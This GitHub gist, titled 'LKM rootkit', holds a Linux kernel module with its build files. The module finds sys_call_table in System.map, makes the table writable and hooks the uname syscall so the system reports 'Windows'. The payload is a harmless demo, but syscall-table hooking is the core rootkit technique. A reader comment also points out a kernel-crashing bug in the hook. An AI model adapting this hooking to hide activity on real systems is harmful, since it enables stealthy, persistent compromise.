Last active
August 23, 2017 05:10
-
-
Save knqyf263/2b3efd2e96e4b8d75276bbf66381f583 to your computer and use it in GitHub Desktop.
LKM rootkit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
KERNDIR := /lib/modules/`uname -r`/build | |
BUILD_DIR := $(shell pwd) | |
VERBOSE = 0 | |
obj-m := syscall_replace.o | |
smallmod-objs := syscall_replace.o | |
all: | |
bash set_syscall_table_address.sh | |
make -C $(KERNDIR) SUBDIRS=$(BUILD_DIR) KBUILD_VERBOSE=$(VERBOSE) modules | |
clean: | |
rm -f *.o | |
rm -f *.ko | |
rm -f *.mod.c | |
rm -f *~ | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
system_map="System.map-`uname -r`" | |
address=`grep "R sys_call_table" /boot/${system_map} | cut -f1 -d' '` | |
if [ $? -ne 0 ]; then | |
echo "Cannot fount ${system_map} on your /boot" | |
exit -1 | |
fi | |
sed -i "s/__SYSCALL_TABLE_ADDRESS__/0x${address}/" syscall_replace.c | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt | |
#include <linux/module.h> | |
#include <linux/kernel.h> | |
#include <linux/types.h> | |
#include <asm/uaccess.h> | |
#include <asm/cacheflush.h> | |
#include <linux/syscalls.h> | |
#include <linux/mm.h> | |
#include <linux/utsname.h> | |
#include <asm/pgtable.h> | |
MODULE_DESCRIPTION("system call replace test module"); | |
MODULE_AUTHOR("knqyf263"); | |
MODULE_LICENSE("GPL"); | |
/* following string SYSCALL_TABLE_ADDRESS will be replaced by set_syscall_table_address.sh */ | |
static void **syscall_table = (void *) __SYSCALL_TABLE_ADDRESS__; | |
typedef void (*sys_call_ptr_t)(void); | |
typedef asmlinkage long (*orig_uname_t)(struct new_utsname *); | |
// fptr to original uname syscall | |
orig_uname_t orig_uname = NULL; | |
// test message | |
//char *msg = "All ur base r belong to us"; | |
char str[] = "Windows"; | |
asmlinkage long hooked_uname(struct new_utsname *name) { | |
orig_uname(name); | |
strncpy(name->sysname, str, sizeof(str)); | |
return 0; | |
} | |
static void save_original_syscall_address(void){ | |
orig_uname = (orig_uname_t) syscall_table[__NR_uname]; | |
} | |
static void change_page_attr_to_rw(pte_t *pte){ | |
set_pte_atomic(pte, pte_mkwrite(*pte)); | |
} | |
static void change_page_attr_to_ro(pte_t *pte){ | |
set_pte_atomic(pte, pte_clear_flags(*pte, _PAGE_RW)); | |
} | |
static void replace_system_call(void *new){ | |
unsigned int level = 0; | |
pte_t *pte; | |
pte = lookup_address((unsigned long) syscall_table, &level); | |
/* Need to set r/w to a page which syscall_table is in. */ | |
change_page_attr_to_rw(pte); | |
syscall_table[__NR_uname] = new; | |
/* set back to read only */ | |
change_page_attr_to_ro(pte); | |
} | |
static int syscall_replace_init(void){ | |
pr_info("sys_call_table address is 0x%p\n", syscall_table); | |
save_original_syscall_address(); | |
pr_info("original sys_uname's address is %p\n", orig_uname); | |
replace_system_call(hooked_uname); | |
pr_info("system call replaced\n"); | |
return 0; | |
} | |
static void syscall_replace_cleanup(void){ | |
pr_info("cleanup"); | |
if (orig_uname) | |
replace_system_call(orig_uname); | |
} | |
module_init(syscall_replace_init); | |
module_exit(syscall_replace_cleanup); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
It is wrong to call strncpy(uname->sysname, str, sizeof(str));
Because, the uname is a user space pointer, which could NOT be accessed by kernel directly.
So kernel will panic when it is called.
To fix it, it shall call copy_to_user(uname->sysname, str, sizeof(str)).